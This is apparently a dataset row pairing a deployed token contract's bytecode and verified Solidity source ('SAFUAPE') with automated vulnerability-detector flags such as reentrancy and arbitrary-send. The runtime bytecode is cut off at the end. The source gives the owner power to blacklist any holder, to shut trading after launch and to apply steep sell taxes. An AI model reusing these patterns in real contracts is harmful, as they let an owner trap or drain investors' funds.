fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166110cb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107ce565b6001600160a01b03821661112c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107ce565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111f15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107ce565b6001600160a01b0382166112535760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107ce565b600081116112b55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107ce565b6001600160a01b03821660009081526009602052604090205460ff16156112ee5760405162461bcd60e51b81526004016107ce906122b2565b6001600160a01b03831660009081526009602052604090205460ff16156113275760405162461bcd60e51b81526004016107ce906122b2565b3360009081526009602052604090205460ff16156113575760405162461bcd60e51b81526004016107ce906122b2565b6000546001600160a01b0384811691161480159061138357506000546001600160a01b03838116911614155b156116fc57601a54600160a01b900460ff166113e15760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107ce565b601a546001600160a01b03838116911614801561140c57506019546001600160a01b03848116911614155b156114be576001600160a01b038216301480159061143357506001600160a01b0383163014155b801561144d57506017546001600160a01b03838116911614155b801561146757506017546001600160a01b03848116911614155b156114be57601b548111156114be5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107ce565b601a546001600160a01b038381169116148015906114ea57506017546001600160a01b03838116911614155b80156114ff57506001600160a01b0382163014155b801561151657506001600160a01b03821661dead14155b156115f657601c548161152884610a0c565b611532919061234a565b1061158b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107ce565b601a54600160b81b900460ff16156115f657600a546115ac906104b061234a565b42116115f657601e548111156115f65760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107ce565b600061160130610a0c565b601d5490915081118080156116205750601a54600160a81b900460ff16155b801561163a5750601a546001600160a01b03868116911614155b801561164f5750601a54600160b01b900460ff165b801561167457506001600160a01b03851660009081526006602052604090205460ff16155b801561169957506001600160a01b03841660009081526006602052604090205460ff16155b156116f957601354600090156116d4576116c960646116c360135486611b3590919063ffffffff16565b90611bb4565b90506116d481611bf6565b6116e66116e182856123a3565b6119ac565b4780156116f6576116f6476118ee565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061173e57506001600160a01b03831660009081526006602052604090205460ff165b806117705750601a546001600160a01b038581169116148015906117705750601a546001600160a01b03848116911614155b1561177d575060006118a2565b601a546001600160a01b0385811691161480156117a857506019546001600160a01b03848116911614155b15611803576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a541415611803576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b03848116911614801561182e57506019546001600160a01b03858116911614155b156118a2576001600160a01b0384166000908152600460205260409020541580159061187f57506018546001600160a01b038516600090815260046020526040902054429161187c9161234a565b10155b1561189557600b54601155600c546012556118a2565b600f546011556010546012555b6118ae84848484611c03565b50505050565b600081848411156118d85760405162461bcd60e51b81526004016107ce9190612228565b5060006118e584866123a3565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561083f573d6000803e3d6000fd5b600060075482111561198f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107ce565b6000611999611c37565b90506119a58382611bb4565b9392505050565b601a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106119f4576119f46123eb565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611a4857600080fd5b505afa158015611a5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a80919061203c565b81600181518110611a9357611a936123eb565b6001600160a01b039283166020918202929092010152601954611ab99130911684611069565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac94790611af29085906000908690309042906004016122d9565b600060405180830381600087803b158015611b0c57600080fd5b505af1158015611b20573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b600082611b4457506000610735565b6000611b508385612384565b905082611b5d8583612362565b146119a55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107ce565b60006119a583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c5a565b6108af3061dead8361118d565b80611c1057611c10611c88565b611c1b848484611ccd565b806118ae576118ae601454601155601554601255601654601355565b6000806000611c44611dc4565b9092509050611c538282611bb4565b9250505090565b60008183611c7b5760405162461bcd60e51b81526004016107ce9190612228565b5060006118e58486612362565b601154158015611c985750601254155b8015611ca45750601354155b15611cab57565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611cdf87611e04565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611d119087611e61565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611d409086611ea3565b6001600160a01b038916600090815260026020526040902055611d6281611f02565b611d6c8483611f4c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611db191815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611ddf8282611bb4565b821015611dfb57505060075492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611e218a601154601254611f70565b9250925092506000611e31611c37565b90506000806000611e448e878787611fbf565b919e509c509a509598509396509194505050505091939550919395565b60006119a583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118b4565b600080611eb0838561234a565b9050838110156119a55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107ce565b6000611f0c611c37565b90506000611f1a8383611b35565b30600090815260026020526040902054909150611f379082611ea3565b30600090815260026020526040902055505050565b600754611f599083611e61565b600755600854611f699082611ea3565b6008555050565b6000808080611f8460646116c38989611b35565b90506000611f9760646116c38a89611b35565b90506000611faf82611fa98b86611e61565b90611e61565b9992985090965090945050505050565b6000808080611fce8886611b35565b90506000611fdc8887611b35565b90506000611fea8888611b35565b90506000611ffc82611fa98686611e61565b939b939a50919850919650505050505050565b803561201a81612417565b919050565b60006020828403121561203157600080fd5b81356119a581612417565b60006020828403121561204e57600080fd5b81516119a581612417565b6000806040838503121561206c57600080fd5b823561207781612417565b9150602083013561208781612417565b809150509250929050565b6000806000606084860312156120a757600080fd5b83356120b281612417565b925060208401356120c281612417565b929592945050506040919091013590565b600080604083850312156120e657600080fd5b82356120f181612417565b946020939093013593505050565b6000602080838503121561211257600080fd5b823567ffffffffffffffff8082111561212a57600080fd5b818501915085601f83011261213e57600080fd5b81358181111561215057612150612401565b8060051b604051601f19603f8301168101818110858211171561217557612175612401565b604052828152858101935084860182860187018a101561219457600080fd5b600095505b838610156121be576121aa8161200f565b855260019590950194938601938601612199565b5098975050505050505050565b6000602082840312156121dd57600080fd5b813580151581146119a557600080fd5b6000602082840312156121ff57600080fd5b5035919050565b6000806040838503121561221957600080fd5b50508035926020909101359150565b600060208083528351808285015260005b8181101561225557858101830151858201604001528201612239565b81811115612267576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156123295784516001600160a01b031683529383019391830191600101612304565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561235d5761235d6123d5565b500190565b60008261237f57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561239e5761239e6123d5565b500290565b6000828210156123b5576123b56123d5565b500390565b60006000198214156123ce576123ce6123d5565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108af57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e55f14b5d6ceb66c2fc03993d759308c9038e9cb539f0104da91ed6d880fc75464736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,244 |
0x23464fb65ff1a8e7a9a1318dfa56185a4950cf8b
|
/**
*Submitted for verification at Etherscan.io on 2022-03-18
*/
// _,_
// .--. .-" "-. .--.
// / .. \/ .-. .-. \/ .. \
// | | '| / Y \ |' | |
// | \ \ \ 0 | 0 / / / |
// \ '- ,\.-"`` ``"-./, -' /
// `'-' /_ ^ ^ _\ '-'`
// | \._ _./ |
// \ \ `~` / /
// '._ '-=-' _.'
// '---'
// WEBSITE: safuape.finance
// TELEGRAM: https://t.me/SafuApeETH
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SAFUAPE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SAFUAPE";
string private constant _symbol = "SAPE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
// Jeets out Fee
uint256 private _redisFeeJeets = 0;
uint256 private _taxFeeJeets = 17;
// Buy Fee
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 5;
// Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
// Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xB6cE6712871B8FCcAF2a593C56680866442F29b3);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 2 hours;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 15e9 * 10**9; //1.5%
uint256 public _maxWalletSize = 3e10 * 10**9; //3%
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 15e9 * 10**9 ; // 1.5%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
// Trade start check
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 20 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
// Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
// Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
// antibot
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
// Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address sniper) external onlyOwner {
_isSniper[sniper] = true;
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e9 * 10**9, "Maximum transaction amount must be greater than 0.5%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
// USUAL TAXES CANNOT BE RAISED MORE THAN 15%
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 1);
require(amountRefSell >= 0 && amountRefSell <= 1);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
require(amount >= 0 && amount <= 1);
_burnFee = amount;
}
// FAST SELL TAXES CANNOT BE RAISED MORE THAN 20% and 4 hours
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
require(amountRedisJeets >= 0 && amountRedisJeets <= 1);
require(amountTaxJeets >= 0 && amountTaxJeets <= 19);
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
require(hoursTime >= 0 && hoursTime <= 4);
timeJeets = hoursTime * 1 hours;
}
}
|
0x60806040526004361061021e5760003560e01c806370a082311161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e146107a4578063e0f9f6a0146107e1578063ea1644d51461080a578063f2fde38b14610833578063fe72c3c11461085c57610225565b806395d89b41146106c15780639ec350ed146106ec5780639f13157114610715578063a9059cbb1461073e578063c55284901461077b57610225565b80637d1db4a5116100f25780637d1db4a5146105ee578063881dce60146106195780638da5cb5b146106425780638f70ccf71461066d5780638f9a55c01461069657610225565b806370a0823114610546578063715018a61461058357806374010ece1461059a578063790ca413146105c357610225565b806333251a0b116101a65780634bf2c7c9116101755780634bf2c7c9146104895780635d098b38146104b25780636b9cf534146104db5780636d8aa8f8146105065780636fc3eaec1461052f57610225565b806333251a0b146103e357806338eea22d1461040c5780633e3e95981461043557806349bd5a5e1461045e57610225565b806318160ddd116101ed57806318160ddd146102fa57806323b872dd1461032557806327c8f835146103625780632fd689e31461038d578063313ce567146103b857610225565b806306fdde031461022a578063095ea7b3146102555780630f3a325f146102925780631694505e146102cf57610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f610887565b60405161024c9190613bff565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190613769565b6108c4565b6040516102899190613bc9565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b4919061367c565b6108e2565b6040516102c69190613bc9565b60405180910390f35b3480156102db57600080fd5b506102e4610938565b6040516102f19190613be4565b60405180910390f35b34801561030657600080fd5b5061030f61095e565b60405161031c9190613e41565b60405180910390f35b34801561033157600080fd5b5061034c60048036038101906103479190613716565b61096f565b6040516103599190613bc9565b60405180910390f35b34801561036e57600080fd5b50610377610a48565b6040516103849190613bae565b60405180910390f35b34801561039957600080fd5b506103a2610a4e565b6040516103af9190613e41565b60405180910390f35b3480156103c457600080fd5b506103cd610a54565b6040516103da9190613eb6565b60405180910390f35b3480156103ef57600080fd5b5061040a6004803603810190610405919061367c565b610a5d565b005b34801561041857600080fd5b50610433600480360381019061042e9190613803565b610ba0565b005b34801561044157600080fd5b5061045c6004803603810190610457919061367c565b610c7d565b005b34801561046a57600080fd5b50610473610d6d565b6040516104809190613bae565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab91906137d6565b610d93565b005b3480156104be57600080fd5b506104d960048036038101906104d4919061367c565b610e4d565b005b3480156104e757600080fd5b506104f0610f6c565b6040516104fd9190613e41565b60405180910390f35b34801561051257600080fd5b5061052d600480360381019061052891906137a9565b610f72565b005b34801561053b57600080fd5b50610544611024565b005b34801561055257600080fd5b5061056d6004803603810190610568919061367c565b611096565b60405161057a9190613e41565b60405180910390f35b34801561058f57600080fd5b506105986110e7565b005b3480156105a657600080fd5b506105c160048036038101906105bc91906137d6565b61123a565b005b3480156105cf57600080fd5b506105d8611324565b6040516105e59190613e41565b60405180910390f35b3480156105fa57600080fd5b5061060361132a565b6040516106109190613e41565b60405180910390f35b34801561062557600080fd5b50610640600480360381019061063b91906137d6565b611330565b005b34801561064e57600080fd5b506106576113f4565b6040516106649190613bae565b60405180910390f35b34801561067957600080fd5b50610694600480360381019061068f91906137a9565b61141d565b005b3480156106a257600080fd5b506106ab6114d6565b6040516106b89190613e41565b60405180910390f35b3480156106cd57600080fd5b506106d66114dc565b6040516106e39190613bff565b60405180910390f35b3480156106f857600080fd5b50610713600480360381019061070e9190613803565b611519565b005b34801561072157600080fd5b5061073c600480360381019061073791906137a9565b6115f6565b005b34801561074a57600080fd5b5061076560048036038101906107609190613769565b6116a8565b6040516107729190613bc9565b60405180910390f35b34801561078757600080fd5b506107a2600480360381019061079d9190613803565b6116c6565b005b3480156107b057600080fd5b506107cb60048036038101906107c691906136d6565b6117a3565b6040516107d89190613e41565b60405180910390f35b3480156107ed57600080fd5b50610808600480360381019061080391906137d6565b61182a565b005b34801561081657600080fd5b50610831600480360381019061082c91906137d6565b6118f1565b005b34801561083f57600080fd5b5061085a6004803603810190610855919061367c565b61199f565b005b34801561086857600080fd5b50610871611b61565b60405161087e9190613e41565b60405180910390f35b60606040518060400160405280600781526020017f5341465541504500000000000000000000000000000000000000000000000000815250905090565b60006108d86108d1611b67565b8484611b6f565b6001905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b600061097c848484611d3a565b610a3d84610988611b67565b610a388560405180606001604052806028815260200161465860289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109ee611b67565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b009092919063ffffffff16565b611b6f565b600190509392505050565b61dead81565b601d5481565b60006009905090565b610a65611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610af2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae990613d61565b60405180910390fd5b600960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b9d576000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b610ba8611b67565b73ffffffffffffffffffffffffffffffffffffffff1660